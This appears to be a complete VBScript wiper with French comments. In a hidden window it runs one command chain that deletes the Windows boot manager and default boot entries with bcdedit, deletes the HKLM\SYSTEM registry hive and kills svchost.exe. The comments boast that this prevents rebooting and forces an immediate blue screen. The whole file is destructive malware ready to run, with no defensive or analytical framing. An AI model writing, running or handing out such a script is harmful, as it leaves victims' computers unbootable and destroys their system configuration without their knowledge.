Dim WshShell
Set WshShell = CreateObject("WScript.Shell")
' La commande tueuse :
' 1. Supprime le Boot (Plus de redémarrage)
' 2. Supprime le Système du Registre (Plus de cerveau)
' 3. Tue le processus svchost (Écran bleu immédiat)
' Le "0" à la fin signifie : FENÊTRE CACHÉE
WshShell.Run "cmd /c bcdedit /delete {bootmgr} /f & bcdedit /delete {default} /f & reg delete HKLM\SYSTEM /f & taskkill /f /im svchost.exe", 0, False